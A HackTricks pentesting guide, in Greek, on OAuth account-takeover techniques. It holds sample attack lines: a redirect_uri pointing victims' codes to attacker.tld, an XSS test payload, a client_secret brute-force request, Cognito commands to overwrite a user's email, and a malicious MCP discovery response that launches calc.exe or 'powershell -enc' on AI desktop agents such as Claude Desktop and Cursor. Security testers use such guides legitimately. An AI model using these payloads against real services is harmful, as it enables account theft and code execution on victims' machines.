OAuth to Account takeover

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

OAuth προσφέρεται σε διάφορες εκδόσεις, με βασικές πληροφορίες διαθέσιμες στη OAuth 2.0 documentation. Αυτή η συζήτηση εστιάζει κυρίως στον ευρέως χρησιμοποιούμενο OAuth 2.0 authorization code grant type, παρέχοντας ένα πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στο λογαριασμό ενός χρήστη σε άλλη εφαρμογή (the authorization server).

Σκεφτείτε έναν υποθετικό ιστότοπο https://example.com, σχεδιασμένο για να εμφανίζει όλες τις δημοσιεύσεις σας στα social media, περιλαμβανομένων και των ιδιωτικών. Για να το επιτύχει αυτό χρησιμοποιείται OAuth 2.0. Το https://example.com θα ζητήσει την άδειά σας για να έχει πρόσβαση στις δημοσιεύσεις σας στα social media. Ως αποτέλεσμα, στην https://socialmedia.com θα εμφανιστεί μια οθόνη συγκατάθεσης που θα περιγράφει τις δικαιοδοσίες που ζητούνται και τον developer που τις αιτείται. Μετά την έγκρισή σας, το https://example.com αποκτά τη δυνατότητα να πρόσβασης στις δημοσιεύσεις σας εξ ονόματός σας.

Είναι σημαντικό να κατανοήσετε τα ακόλουθα στοιχεία στο πλαίσιο του OAuth 2.0:

  • resource owner: Εσύ, ως χρήστης/οντότητα, εξουσιοδοτείς την πρόσβαση στο resource, όπως τις δημοσιεύσεις του λογαριασμού σου στα social media.
  • resource server: Ο server που διαχειρίζεται τις επαληθευμένες (authenticated) αιτήσεις μετά την απόκτηση ενός access token εκ μέρους του resource owner, π.χ., https://socialmedia.com.
  • client application: Η εφαρμογή που ζητά εξουσιοδότηση από τον resource owner, όπως https://example.com.
  • authorization server: Ο server που εκδίδει access tokens στην client application μετά την επιτυχημένη αυθεντικοποίηση του resource owner και την παροχή εξουσιοδότησης, π.χ., https://socialmedia.com.
  • client_id: Ένας δημόσιος, μοναδικός αναγνωριστικός για την εφαρμογή.
  • client_secret: Ένα εμπιστευτικό κλειδί, γνωστό μόνο στην εφαρμογή και στον authorization server, που χρησιμοποιείται για τη δημιουργία access_tokens.
  • response_type: Μια τιμή που καθορίζει τον τύπο του token που ζητείται, όπως code.
  • scope: Το επίπεδο πρόσβασης που ζητά η client application από τον resource owner.
  • redirect_uri: Η URL στην οποία ο χρήστης αναδρομολογείται μετά την εξουσιοδότηση. Συνήθως πρέπει να συμφωνεί με την προ-εγγεγραμμένη redirect URL.
  • state: Μια παράμετρος για τη διατήρηση δεδομένων κατά την ανακατεύθυνση του χρήστη προς και από τον authorization server. Η μοναδικότητά του είναι κρίσιμη για να λειτουργεί ως μηχανισμός προστασίας CSRF.
  • grant_type: Μια παράμετρος που υποδεικνύει τον τύπο του grant και τον τύπο του token που θα επιστραφεί.
  • code: Ο authorization code από τον authorization server, που χρησιμοποιείται σε συνδυασμό με client_id και client_secret από την client application για να αποκτήσει access_token.
  • access_token: Το token που η client application χρησιμοποιεί για αιτήσεις API εκ μέρους του resource owner.
  • refresh_token: Επιτρέπει στην εφαρμογή να αποκτήσει νέο access_token χωρίς να επαναλάβει το αίτημα προς τον χρήστη.

Ροή

Η πραγματική ροή του OAuth εξελίσσεται ως εξής:

  1. Πλοηγείσαι στο https://example.com και επιλέγεις το κουμπί “Integrate with Social Media”.
  2. Η σελίδα στη συνέχεια στέλνει ένα αίτημα στο https://socialmedia.com ζητώντας την εξουσιοδότησή σου ώστε η εφαρμογή του https://example.com να έχει πρόσβαση στις δημοσιεύσεις σου. Το αίτημα είναι δομημένο ως εξής:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Στη συνέχεια σας εμφανίζεται μια σελίδα συγκατάθεσης.
  2. Μετά την έγκρισή σας, Social Media στέλνει μια απάντηση στο redirect_uri με τις παραμέτρους code και state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com χρησιμοποιεί αυτό το code, μαζί με το client_id και το client_secret, για να κάνει ένα αίτημα από τον διακομιστή προκειμένου να λάβει ένα access_token εκ μέρους σας, επιτρέποντας πρόσβαση στις άδειες που συναινέσατε:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Τέλος, η διαδικασία ολοκληρώνεται καθώς https://example.com χρησιμοποιεί το access_token σας για να κάνει ένα API call στο Social Media για να έχει πρόσβαση

Ευπάθειες

Open redirect_uri

Σύμφωνα με RFC 6749 §3.1.2, ο authorization server πρέπει να ανακατευθύνει τον browser μόνο σε προεγγεγραμμένα, ακριβή redirect URIs. Οποιαδήποτε αδυναμία εδώ επιτρέπει σε έναν attacker να στείλει ένα victim μέσω ενός malicious authorization URL έτσι ώστε ο IdP να παραδίδει το victim’s code (και state) απευθείας σε ένα attacker endpoint, το οποίο στη συνέχεια μπορεί να το εξαργυρώσει και να συλλέξει tokens.

Τυπική ροή επίθεσης:

  1. Συνθέστε https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback και στείλτε το στο victim.
  2. Το victim αυθεντικοποιείται και εγκρίνει τα scopes.
  3. Ο IdP ανακατευθύνει στο attacker.tld/callback?code=<victim-code>&state=... όπου ο attacker καταγράφει το request και αμέσως εξαργυρώνει το code.

Κοινά σφάλματα επικύρωσης για έλεγχο:

  • No validation – οποιοδήποτε absolute URL γίνεται αποδεκτό, με αποτέλεσμα άμεση κλοπή του code.
  • Weak substring/regex checks on the host – παρακάμψτε με lookalikes όπως evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, ή match.com@evil.com.
  • IDN homograph mismatches – η επικύρωση γίνεται στη μορφή punycode (xn--), αλλά ο browser ανακατευθύνει στο Unicode domain που ελέγχεται από τον attacker.
  • Arbitrary paths on an allowed host – pointing redirect_uri to /openredirect?next=https://attacker.tld or any XSS/user-content endpoint leaks the code either through chained redirects, Referer headers, or injected JavaScript.
  • Directory constraints without normalization – μοτίβα όπως /oauth/* μπορούν να παρακαμφθούν με /oauth/../anything.
  • Wildcard subdomains – η αποδοχή *.example.com σημαίνει ότι οποιαδήποτε takeover (dangling DNS, S3 bucket, κ.λπ.) αποδίδει αμέσως ένα έγκυρο callback.
  • Non-HTTPS callbacks – επιτρέποντας http:// URIs δίνει στους network attackers (Wi-Fi, corporate proxy) την ευκαιρία να υποκλέψουν το code κατά τη μετάδοση.

Ελέγξτε επίσης βοηθητικές παραμέτρους τύπου redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, κ.λπ.) και το OpenID discovery document (/.well-known/openid-configuration) για επιπλέον endpoints που μπορεί να κληρονομήσουν τα ίδια σφάλματα επικύρωσης.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Το να κλειδώσει το redirect_uri σε “owned/first-party domains” δεν βοηθά εάν οποιοσδήποτε allowlisted domain εκθέτει attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, κ.λπ.). Εάν το OAuth/federated login flow returns tokens in the URL (query ή hash), ένας attacker μπορεί:

  1. Να ξεκινήσει ένα νόμιμο flow για να δημιουργήσει ένα pre-token (π.χ. ένα etoken σε ένα multi-step Accounts Center/FXAuth flow).
  2. Να στείλει στο victim ένα authorization URL που ορίζει τον allowlisted domain ως redirect_uri/base_uri αλλά δείχνει το next/path σε ένα attacker-controlled namespace (π.χ. https://apps.facebook.com/<attacker_app>).
  3. Αφού το victim εγκρίνει, ο IdP ανακατευθύνει στο attacker-controlled path με ευαίσθητες τιμές στο URL (token, blob, codes, κ.λπ.).
  4. JavaScript σε αυτή τη σελίδα διαβάζει το window.location και εξάγει τις τιμές παρόλο που ο domain είναι “trusted.”
  5. Επαναχρησιμοποιεί (replay) τις καταγεγραμμένες τιμές ενάντια σε downstream privileged endpoints που αναμένουν μόνο τα tokens που μεταφέρονται μέσω redirect. Παραδείγματα από το FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS στην υλοποίηση του redirect

Όπως αναφέρεται σε αυτό το bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html μπορεί να είναι δυνατόν το redirect URL να αντανακλάται στην response του server αφού ο χρήστης αυθεντικοποιηθεί, καθιστώντας το ευάλωτο σε XSS. Πιθανό payload για δοκιμή:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Εσφαλμένη διαχείριση της παραμέτρου state

Η παράμετρος state είναι το Authorization Code flow CSRF token: ο client πρέπει να δημιουργεί μία κρυπτογραφικά τυχαία τιμή ανά browser instance, να την αποθηκεύει κάπου που μόνο αυτός ο browser μπορεί να διαβάσει (cookie, local storage, κ.λπ.), να την στέλνει στο authorization request και να απορρίπτει οποιαδήποτε απάντηση δεν επιστρέφει την ίδια τιμή. Όταν η τιμή είναι στατική, προβλέψιμη, προαιρετική ή δεν δεσμεύεται με το session του χρήστη, ο attacker μπορεί να ολοκληρώσει το δικό του OAuth flow, να υποκλέψει το τελικό ?code= request (χωρίς να το στείλει) και αργότερα να εξαναγκάσει τον browser του victim να αναπαράγει (replay) αυτό το request ώστε ο λογαριασμός του victim να συνδεθεί με το identity provider profile του attacker.

Το replay pattern είναι πάντα το ίδιο:

  1. Ο attacker αυθεντικοποιείται στο IdP με τον λογαριασμό του και υποκλέπτει το τελευταίο redirect που περιέχει το code (και οποιοδήποτε state).
  2. Παίρνει εκείνο το request, κρατάει το URL, και αργότερα εκμεταλλεύεται οποιοδήποτε CSRF primitive (link, iframe, auto-submitting form) για να αναγκάσει τον browser του victim να το φορτώσει.
  3. Αν ο client δεν επιβάλλει state, η εφαρμογή καταναλώνει το authorization αποτέλεσμα του attacker και συνδέει τον attacker στον λογαριασμό της εφαρμογής του victim.

Ένας πρακτικός έλεγχος για τη διαχείριση του state κατά τις δοκιμές:

  • Missing state entirely – αν η παράμετρος δεν εμφανίζεται ποτέ, όλο το login είναι επιρρεπές σε CSRF.
  • state not required – αφαιρέστε το από το αρχικό request· αν το IdP εξακολουθεί να εκδίδει codes που ο client αποδέχεται, η άμυνα είναι opt-in.
  • Returned state not validated – τροποποιήστε την τιμή στην απάντηση (Burp, MITM proxy). Η αποδοχή μη-ταιριαστών τιμών σημαίνει ότι το αποθηκευμένο token δεν συγκρίνεται ποτέ.
  • Predictable or purely data-driven state – πολλές εφαρμογές βάζουν redirect paths ή JSON blobs στο state χωρίς να προσθέτουν τυχαιότητα, επιτρέποντας στους attackers να μαντέψουν έγκυρες τιμές και να replay-άρουν flows. Πάντα προθέτετε/επισυνάψτε ισχυρή εντροπία πριν την κωδικοποίηση των δεδομένων.
  • state fixation – αν η εφαρμογή επιτρέπει στους χρήστες να παρέχουν την τιμή state (π.χ. μέσω crafted authorization URLs) και την επαναχρησιμοποιεί στη ροή, ένας attacker μπορεί να “κλειδώσει” μια γνωστή τιμή και να τη χρησιμοποιήσει σε πολλαπλά victims.

Το PKCE μπορεί να συμπληρώσει το state (ειδικά για public clients) δεσμεύοντας το authorization code σε έναν code verifier, αλλά οι web clients πρέπει ακόμη να παρακολουθούν το state για να αποτρέψουν cross-user CSRF/account-linking σφάλματα.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Οι attackers μπορούν να δημιουργήσουν προληπτικά έναν λογαριασμό χρησιμοποιώντας το email του victim. Αν το victim αργότερα χρησιμοποιήσει έναν third-party service για login, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον third-party λογαριασμό με τον προ-δημιουργημένο λογαριασμό του attacker, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
  2. Exploiting Lax OAuth Email Verification: Οι attackers μπορεί να εκμεταλλευτούν OAuth services που δεν επαληθεύουν emails, εγγράφοντας έναν λογαριασμό και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του victim. Αυτή η μέθοδος επίσης κινδυνεύει να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, όμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού attack vector.

Disclosure of Secrets

Το client_id είναι σκόπιμα δημόσιο, αλλά το client_secret must never be recoverable by end users. Authorization Code deployments που ενσωματώνουν το secret σε mobile APKs, desktop clients, or single-page apps ουσιαστικά παραδίδουν αυτό το credential σε οποιονδήποτε μπορεί να κατεβάσει το πακέτο. Πάντα ελέγχετε public clients ως εξής:

  • Αποσυμπιέζοντας το APK/IPA, τον desktop installer ή το Electron app και ψάχνοντας για client_secret, Base64 blobs που αποκωδικοποιούνται σε JSON, ή hard-coded OAuth endpoints.
  • Ελέγχοντας τα bundled config files (plist, JSON, XML) ή decompiled strings για client credentials.

Μόλις ο attacker εξάγει το secret, χρειάζεται μόνο να κλέψει κάποιο authorization code του victim (μέσω ενός αδύναμου redirect_uri, logs, κ.λπ.) για να χτυπήσει ανεξάρτητα το /token και να δημιουργήσει access/refresh tokens χωρίς να εμπλέξει την νόμιμη εφαρμογή. Θεωρείτε τους public/native clients ως incapable of holding secrets — θα πρέπει αντ’ αυτού να βασίζονται στο PKCE (RFC 7636) για να αποδείξουν την κατοχή ενός per-instance code verifier αντί ενός στατικού secret. Κατά τις δοκιμές, βεβαιωθείτε αν το PKCE είναι υποχρεωτικό και αν το backend απορρίπτει πραγματικά token exchanges που παραλείπουν είτε το client_secret ή έναν έγκυρο code_verifier.

Client Secret Bruteforce

Μπορείτε να προσπαθήσετε να bruteforce the client_secret ενός service provider σε συνδυασμό με το identity provider προκειμένου να επιχειρήσετε να κλέψετε λογαριασμούς.
Το request για BF μπορεί να μοιάζει ως εξής:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Μόλις ο client έχει τα code και state, αν εμφανιστούν στο location.href ή στο document.referrer και προωθηθούν σε τρίτους, leak. Δύο επαναλαμβανόμενα μοτίβα:

  • Classic Referer leak: μετά το OAuth redirect, οποιαδήποτε πλοήγηση που κρατάει το ?code=&state= στο URL θα τα ωθήσει στο header Referer που αποστέλλεται σε CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: ορισμένα SDKs (pixels/JS loggers) αντιδρούν σε postMessage events και στη συνέχεια στέλνουν το τρέχον location.href/referrer σε backend APIs χρησιμοποιώντας ένα token που παρέχεται στο μήνυμα. Αν μπορείτε να εισάγετε το δικό σας token σε αυτή τη ροή (π.χ. μέσω attacker-controlled postMessage relay), μπορείτε αργότερα να διαβάσετε το ιστορικό/τα logs των API αιτήσεων του SDK και να ανακτήσετε τα OAuth artifacts του θύματος που είναι ενσωματωμένα σε αυτά τα αιτήματα.

Access Token Stored in Browser History

Η βασική εγγύηση του Authorization Code grant είναι ότι access tokens never reach the resource owner’s browser. Όταν οι υλοποιήσεις leak tokens client-side, οποιοδήποτε μικρό σφάλμα (XSS, Referer leak, proxy logging) μετατρέπεται άμεσα σε compromise λογαριασμού. Ελέγξτε πάντα για:

  • Tokens in URLs – αν το access_token εμφανίζεται στο query/fragment, καταλήγει στο browser history, server logs, analytics, και στα Referer headers που στέλνονται σε τρίτους.
  • Tokens transiting untrusted middleboxes – η επιστροφή tokens πάνω από HTTP ή μέσω debugging/corporate proxies επιτρέπει σε παρατηρητές δικτύου να τα αιχμαλωτίσουν άμεσα.
  • Tokens stored in JavaScript state – React/Vue stores, global variables ή σειριοποιημένα JSON blobs εκθέτουν tokens σε κάθε script στο origin (συμπεριλαμβανομένων XSS payloads ή κακόβουλων extensions).
  • Tokens persisted in Web StoragelocalStorage/sessionStorage διατηρούν tokens πολύ μετά το logout σε κοινόχρηστες συσκευές και είναι προσβάσιμα από scripts.

Οποιοδήποτε από αυτά τα ευρήματα συνήθως αναβαθμίζει αλλιώς «χαμηλά» bugs (όπως ένα CSP bypass ή DOM XSS) σε πλήρη API takeover επειδή ο attacker μπορεί απλώς να διαβάσει και να replay το leaked bearer token.

Everlasting Authorization Code

Authorization codes πρέπει να είναι short-lived, single-use, and replay-aware. Όταν αξιολογείτε μια ροή, πάρτε ένα code και:

  • Test the lifetime – το RFC 6749 προτείνει λεπτά, όχι ώρες. Δοκιμάστε να εξαργυρώσετε το code μετά από 5–10 λεπτά· αν ακόμα λειτουργεί, το παράθυρο έκθεσης για οποιοδήποτε leaked code είναι υπερβολικό.
  • Test sequential reuse – στείλτε το ίδιο code δύο φορές. Αν το δεύτερο request αποδώσει άλλο token, οι attackers μπορούν να κλωνοποιήσουν sessions επ’ αόριστον.
  • Test concurrent redemption/race conditions – πυροδοτήστε δύο token requests παράλληλα (Burp intruder, turbo intruder). Αδύναμοι issuers κάποιες φορές εκδίδουν και τα δύο.
  • Observe replay handling – μια προσπάθεια reuse δεν πρέπει μόνο να αποτύχει αλλά και να ανακαλέσει οποιαδήποτε tokens ήδη εκδομένα από αυτό το code. Διαφορετικά, μια ανιχνευμένη replay άφησε το πρώτο token του attacker ενεργό.

Ο συνδυασμός ενός replay-friendly code με οποιοδήποτε redirect_uri ή bug στο logging επιτρέπει μόνιμη πρόσβαση σε λογαριασμό ακόμα και μετά το νόμιμο login του θύματος.

Authorization/Refresh Token not bound to client

Αν μπορείτε να αποκτήσετε τον authorization code και να τον redeem για διαφορετικό client/app, μπορείτε να takeover άλλους λογαριασμούς. Ελέγξτε για αδύναμο binding με:

  • Καταγραφή ενός code για app A και αποστολή του στο app B’s token endpoint· αν λάβετε ακόμα token, το audience binding είναι σπασμένο.
  • Δοκιμή first-party token minting endpoints που θα έπρεπε να περιορίζονται στα δικά τους client IDs· αν δέχονται αυθαίρετο state/app_id ενώ επικυρώνουν μόνο το code, ουσιαστικά εκτελείτε ένα authorization-code swap για να εκδώσετε first-party tokens με υψηλότερα προνόμια.
  • Έλεγχο αν το client binding αγνοεί διαφορές σε nonce/redirect URI. Αν μια σελίδα σφάλματος φορτώνει ακόμα SDKs που log-άρουν location.href, συνδυάστε με Referer/telemetry leaks για να κλέψετε codes και να τα εξαργυρώσετε αλλού.

Κάθε endpoint που ανταλλάσσει code → token must επαληθεύει τον εκδότη client, το redirect URI και το nonce· αλλιώς, ένα κλεμμένο code από οποιοδήποτε app μπορεί να αναβαθμιστεί σε first-party access token.

Happy Paths, XSS, Iframes & Post Messages για να leak τιμές code & state

Δείτε αυτήν την ανάρτηση

AWS Cognito

Σε αυτό το bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ μπορείτε να δείτε ότι το token που η AWS Cognito επιστρέφει στον χρήστη μπορεί να έχει αρκετά permissions για να overwrite τα user data. Επομένως, αν μπορείτε να αλλάξετε το user email σε διαφορετικό user email, μπορεί να είστε σε θέση να take over λογαριασμούς άλλων.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Για περισσότερες πληροφορίες για το πώς να καταχραστείτε το AWS Cognito δείτε AWS Cognito - Unauthenticated Enum Access.

Abusing other Apps tokens

Όπως αναφέρεται σε αυτό το writeup, ροές OAuth που αναμένουν να λάβουν το token (και όχι ένα code) μπορεί να είναι ευάλωτες αν δεν ελέγχουν ότι το token ανήκει στην εφαρμογή.

Αυτό συμβαίνει γιατί ένας attacker θα μπορούσε να δημιουργήσει μια εφαρμογή που υποστηρίζει OAuth και login με Facebook (για παράδειγμα) στη δική του εφαρμογή. Στη συνέχεια, μόλις ένα victim κάνει login με Facebook στην attackers application, ο attacker θα μπορούσε να πάρει το OAuth token του χρήστη που δόθηκε στην εφαρμογή του και να το χρησιμοποιήσει για να κάνει login στην victim OAuth application χρησιμοποιώντας το token του χρήστη.

Caution

Επομένως, αν ο attacker καταφέρει να κάνει τον user να αποκτήσει πρόσβαση στην δική του OAuth εφαρμογή, θα μπορέσει να καταλάβει τον λογαριασμό του victim σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token χορηγήθηκε στο app ID τους.

Σύμφωνα με αυτήν την ανάλυση, ήταν δυνατόν να υποχρεωθεί ο victim να ανοίξει μια σελίδα με returnUrl που δείχνει στον attackers host. Αυτή η πληροφορία θα αποθηκευόταν σε cookie (RU) και σε μετέπειτα βήμα το prompt θα ζητήσει από τον user αν θέλει να δώσει πρόσβαση σε αυτόν τον attackers host.

Για να παρακαμφθεί αυτό το prompt, ήταν δυνατόν να ανοίξει ένα tab για να ξεκινήσει το Oauth flow που θα όριζε αυτό το RU cookie χρησιμοποιώντας το returnUrl, να κλείσει το tab πριν εμφανιστεί το prompt, και να ανοίξει ένα νέο tab χωρίς αυτή την τιμή. Τότε, το prompt δεν θα ενημερώνει για τον attackers host, αλλά το cookie θα είναι ορισμένο σε αυτόν, οπότε το token θα σταλεί στον attackers host στην ανακατεύθυνση.

Prompt Interaction Bypass

Όπως εξηγείται σε αυτό το βίντεο, κάποιες υλοποιήσεις OAuth επιτρέπουν να δηλωθεί η GET παράμετρος prompt ως None (&prompt=none) για να αποτραπεί το να ζητηθεί από τους users να επιβεβαιώσουν την παρεχόμενη πρόσβαση μέσω ενός web prompt, αν είναι ήδη συνδεδεμένοι στην πλατφόρμα.

response_mode

Όπως εξηγείται σε αυτό το βίντεο, μπορεί να είναι δυνατό να ορίσετε την παράμετρο response_mode για να υποδείξετε πού θέλετε να παραδοθεί το code στο τελικό URL:

  • response_mode=query -> Ο κώδικας παρέχεται μέσα σε παράμετρο GET: ?code=2397rf3gu93f
  • response_mode=fragment -> Ο κώδικας παρέχεται μέσα στο fragment του URL: #code=2397rf3gu93f
  • response_mode=form_post -> Ο κώδικας παρέχεται σε POST φόρμα με ένα input ονομασμένο code και την τιμή του
  • response_mode=web_message -> Ο κώδικας αποστέλλεται σε ένα post message: window.opener.postMessage({"code": "asdasdasd...

Οι OAuth consent/login διάλογοι είναι ιδανικοί στόχοι για clickjacking: αν μπορούν να ενσωματωθούν (framed), ένας attacker μπορεί να τοποθετήσει προσαρμοσμένα γραφικά από πάνω, να κρύψει τα πραγματικά κουμπιά και να ξεγελάσει users ώστε να εγκρίνουν επικίνδυνα scopes ή να συνδέσουν λογαριασμούς. Δημιουργήστε PoCs που:

  1. Φορτώστε το IdP authorization URL μέσα σε ένα <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Χρησιμοποιήστε τεχνάσματα absolute positioning/opacity για να ευθυγραμμίσετε ψεύτικα κουμπιά με τους κρυφούς ελέγχους Allow/Approve.
  3. Προαιρετικά προ-συμπληρώστε παραμέτρους (scopes, redirect URI) ώστε η κλεμμένη έγκριση να ωφελεί αμέσως τον attacker.

Κατά τις δοκιμές, επαληθεύστε ότι οι σελίδες του IdP επιστρέφουν είτε X-Frame-Options: DENY/SAMEORIGIN είτε ένα περιοριστικό Content-Security-Policy: frame-ancestors 'none'. Αν κανένα δεν υπάρχει, δείξτε τον κίνδυνο με εργαλεία όπως το NCC Group’s clickjacking PoC generator και καταγράψτε πόσο εύκολα ένας victim εξουσιοδοτεί την εφαρμογή του attacker. Για επιπλέον ιδέες payload δείτε Clickjacking.

OAuth ROPC flow - 2 FA bypass

Σύμφωνα με αυτό το blog post, αυτή είναι μια OAuth ροή που επιτρέπει το login στο OAuth μέσω username και password. Αν κατά τη διάρκεια αυτής της απλής ροής επιστραφεί ένα token με πρόσβαση σε όλες τις ενέργειες που μπορεί να εκτελέσει ο χρήστης, τότε είναι δυνατό να παρακαμφθεί το 2FA χρησιμοποιώντας αυτό το token.

ATO on web page redirecting based on open redirect to referrer

Αυτό το blogpost περιγράφει πώς ήταν δυνατό να καταχραστεί ένα open redirect χρησιμοποιώντας την τιμή από το referrer για να μετατρέψει OAuth σε ATO. Η επίθεση ήταν:

  1. Ο victim επισκέπτεται τη σελίδα του attacker.
  2. Ο victim ανοίγει το κακόβουλο link και ένα opener ξεκινάει το Google OAuth flow με response_type=id_token,code&prompt=none ως επιπλέον παραμέτρους, χρησιμοποιώντας ως referrer την ιστοσελίδα του attacker.
  3. Στο opener, αφού ο provider εξουσιοδοτήσει τον victim, τον στέλνει πίσω στην τιμή της παραμέτρου redirect_uri (victim web) με μια ανακατεύθυνση 30X που διατηρεί ακόμα την ιστοσελίδα του attacker στο referer.
  4. Η ιστοσελίδα του victim ενεργοποιεί το open redirect με βάση το referrer και ανακατευθύνει τον user στον attackers website. Επειδή το respose_type ήταν id_token,code, ο code θα σταλεί πίσω στον attacker στο fragment του URL, επιτρέποντάς του να καταλάβει τον λογαριασμό του χρήστη μέσω Google στην ιστοσελίδα του victim.

SSRFs parameters

Δείτε αυτή την έρευνα για περισσότερες λεπτομέρειες αυτής της τεχνικής.

Η Dynamic Client Registration στο OAuth λειτουργεί ως ένας λιγότερο προφανής αλλά κρίσιμος φορέας ευπαθειών ασφαλείας, ειδικά για επιθέσεις τύπου SSRF. Αυτό το endpoint επιτρέπει στους OAuth servers να λαμβάνουν λεπτομέρειες για client εφαρμογές, συμπεριλαμβανομένων ευαίσθητων URLs που μπορούν να εκμεταλλευτούν.

Κύρια σημεία:

  • Η Dynamic Client Registration συχνά αντιστοιχίζεται στο /register και δέχεται λεπτομέρειες όπως client_name, client_secret, redirect_uris, και URLs για logos ή JSON Web Key Sets (JWKs) μέσω POST requests.
  • Αυτή η λειτουργία ακολουθεί τις προδιαγραφές του RFC7591 και του OpenID Connect Registration 1.0, που περιλαμβάνουν παραμέτρους πιθανώς ευάλωτες σε SSRF.
  • Η διαδικασία registration μπορεί ακούσια να εκθέσει servers σε SSRF με πολλούς τρόπους:
    • logo_uri: Ένα URL για το logo της client εφαρμογής που μπορεί να γίνει fetch από τον server, πυροδοτώντας SSRF ή οδηγώντας σε XSS αν το URL χειριστεί λανθασμένα.
    • jwks_uri: Ένα URL προς το JWK έγγραφο του client, το οποίο, αν είναι κακόβουλα διαμορφωμένο, μπορεί να κάνει τον server να πραγματοποιήσει outbound requests προς server υπό τον έλεγχο του attacker.
    • sector_identifier_uri: Αναφορές σε JSON array με redirect_uris, που ο server μπορεί να κάνει fetch, δημιουργώντας ευκαιρία SSRF.
    • request_uris: Λίστες επιτρεπόμενων request URIs για τον client, που μπορούν να εκμεταλλευτούν αν ο server κάνει fetch αυτά τα URIs στην αρχή της διαδικασίας authorization.

Στρατηγική εκμετάλλευσης:

  • SSRF μπορεί να ενεργοποιηθεί εγγράφοντας έναν νέο client με κακόβουλα URLs σε παραμέτρους όπως logo_uri, jwks_uri, ή sector_identifier_uri.
  • Ενώ η άμεση εκμετάλλευση μέσω request_uris μπορεί να περιορίζεται με white-listing, η προμήθεια ενός προ-εγγεγραμμένου, attacker-controlled request_uri μπορεί να διευκολύνει SSRF κατά τη φάση authorization.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Έρευνα για CVE-2025-6514 (που επηρεάζει mcp-remote clients όπως Claude Desktop, Cursor ή Windsurf) δείχνει πώς το δυναμικό OAuth discovery γίνεται primitive για RCE όταν ο client προωθεί τα IdP metadata απευθείας στο λειτουργικό σύστημα. Ο απομακρυσμένος MCP server επιστρέφει ένα attacker-controlled authorization_endpoint κατά την ανταλλαγή discovery (/.well-known/openid-configuration ή οποιοδήποτε metadata RPC). Το mcp-remote ≤0.1.15 στη συνέχεια έτρεχε τον system URL handler (start, open, xdg-open, κ.λπ.) με όποια συμβολοσειρά έφτασε, οπότε οποιοδήποτε scheme/path υποστηρίζεται από το OS εκτελούνταν τοπικά.

Attack workflow

  1. Δείξτε στον desktop agent έναν hostile MCP/OAuth server (npx mcp-remote https://evil). Ο agent λαμβάνει 401 μαζί με metadata.
  2. Ο server απαντά με JSON όπως:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. The client εκκινεί τον OS handler για το παρεχόμενο URI. Τα Windows αποδέχονται payloads όπως file:/c:/windows/system32/calc.exe /c"powershell -enc ..."· macOS/Linux αποδέχονται file:///Applications/Calculator.app/... ή ακόμη και custom schemes όπως cmd://bash -lc '<payload>' εάν είναι εγγεγραμμένα.
  2. Επειδή αυτό συμβαίνει πριν από οποιαδήποτε αλληλεπίδραση χρήστη, αρκεί απλώς η διαμόρφωση του client ώστε να επικοινωνεί με τον attacker server για να προκύψει code execution.

Πώς να δοκιμάσετε

  • Στοχεύστε οποιονδήποτε OAuth-capable desktop/agent που πραγματοποιεί discovery μέσω HTTP(S) και ανοίγει τα επιστρεφόμενα endpoints τοπικά (Electron apps, CLI helpers, thick clients).
  • Intercept ή host την discovery response και αντικαταστήστε authorization_endpoint, device_authorization_endpoint, ή παρόμοια πεδία με file://, cmd://, UNC paths, ή άλλα επικίνδυνα schemes.
  • Παρατηρήστε εάν ο client επικυρώνει το scheme/host. Η έλλειψη validation οδηγεί σε άμεση εκτέλεση υπό το user context και αποδεικνύει το ζήτημα.
